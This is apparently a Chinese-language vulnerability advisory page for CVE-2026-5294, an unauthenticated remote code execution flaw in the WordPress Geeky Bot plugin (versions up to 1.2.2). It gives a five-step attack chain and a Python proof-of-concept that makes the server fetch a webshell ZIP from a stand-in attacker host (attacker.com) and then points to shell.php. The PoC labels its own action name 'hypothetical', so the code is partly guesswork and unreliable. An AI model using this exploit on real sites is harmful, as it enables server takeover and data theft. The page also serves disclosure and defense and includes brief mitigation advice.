IPBUF安全漏洞报告
English
CVE-2026-5294 CVSS 9.8 严重

CVE-2026-5294 WordPress Geeky Bot插件RCE漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-5294
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Geeky Bot Plugin

相关标签

RCEWordPressGeeky Bot权限绕过远程代码执行CVE-2026-5294

漏洞概述

WordPress Geeky Bot 插件在 1.2.2 及之前版本中存在严重的权限缺失漏洞。该漏洞源于未授权的 AJAX 路由,允许攻击者控制模型和函数分发,进而调用插件安装助手。攻击者可利用此功能下载并解压恶意的 ZIP 文件到网站插件目录。未经身份认证的攻击者借此可安装任意恶意插件,最终实现远程代码执行,完全控制服务器。

技术细节

该漏洞的核心在于 WordPress Geeky Bot 插件未对特定的 AJAX 动作进行权限校验。插件注册了一个 nopriv_ 前缀的 AJAX 钩子,这意味着即使是未登录用户也能触发该功能。在该 AJAX 处理程序中,代码直接接收用户输入的参数来分发调用内部的模型或函数。攻击者利用这一点,可以将调用指向插件内部的“安装助手”类。该安装助手类允许接受外部 URL 指向的 ZIP 文件。攻击者构造包含恶意 PHP 代码的 ZIP 包(伪装成插件),将其托管在可控服务器上,并通过漏洞接口传入 URL。插件会将 ZIP 包下载并解压到 WordPress 的 wp-content/plugins/ 目录下。一旦恶意文件被释放,攻击者即可通过浏览器访问该恶意脚本,从而在服务器端执行任意系统命令,获取服务器最高权限。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标 WordPress 站点,检测是否安装了 Geeky Bot 插件及其版本号(1.2.2 或更低)。
STEP 2
2. 构造恶意载荷
攻击者创建一个包含 WebShell 的恶意 ZIP 文件,并将其托管在可访问的服务器上。
STEP 3
3. 发送利用请求
攻击者向 /wp-admin/admin-ajax.php 发送特制的 POST 请求,利用 nopriv 路由绕过认证,触发插件安装助手功能。
STEP 4
4. 下载并解压
漏洞利用代码迫使服务器从攻击者指定的 URL 下载 ZIP 文件,并将其解压到 wp-content/plugins/ 目录。
STEP 5
5. 执行代码
攻击者访问新安装的恶意插件文件(如 shell.php),从而在服务器上执行任意系统命令,获取控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: WordPress Geeky Bot Plugin <= 1.2.2 - Unauthenticated RCE # Date: 2026-05-05 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://downloads.wordpress.org/plugin/geeky-bot.1.2.2.zip # Version: <= 1.2.2 # Tested on: WordPress 6.x def exploit(target_url, malicious_zip_url): """ Exploit the missing authorization vulnerability to install a malicious plugin. """ # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload structure based on vulnerability description (model/function dispatch) # This simulates the 'nopriv' route that triggers the plugin installer helper payload = { 'action': 'geeky_bot_ajax_action', # Hypothetical action name based on plugin structure 'model': 'installer', # Target the installer helper 'function': 'install_plugin', # Function that handles download/unzip 'plugin_zip': malicious_zip_url # URL to the attacker-controlled ZIP file } try: print(f"[*] Sending payload to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if malicious plugin was installed.") print("[+] Try accessing: {}/wp-content/plugins/malicious-plugin/shell.php".format(target_url)) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL zip_url = "http://attacker.com/bad.zip" # Replace with URL to malicious ZIP exploit(target, zip_url)

影响范围

Geeky Bot <= 1.2.2

防御指南

临时缓解措施
建议立即禁用该插件,直到更新到修复后的版本。同时,配置Web应用防火墙(WAF)规则,拦截对 /wp-admin/admin-ajax.php 的异常POST请求,特别是包含特定分发参数的请求,以防止未授权的代码安装。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表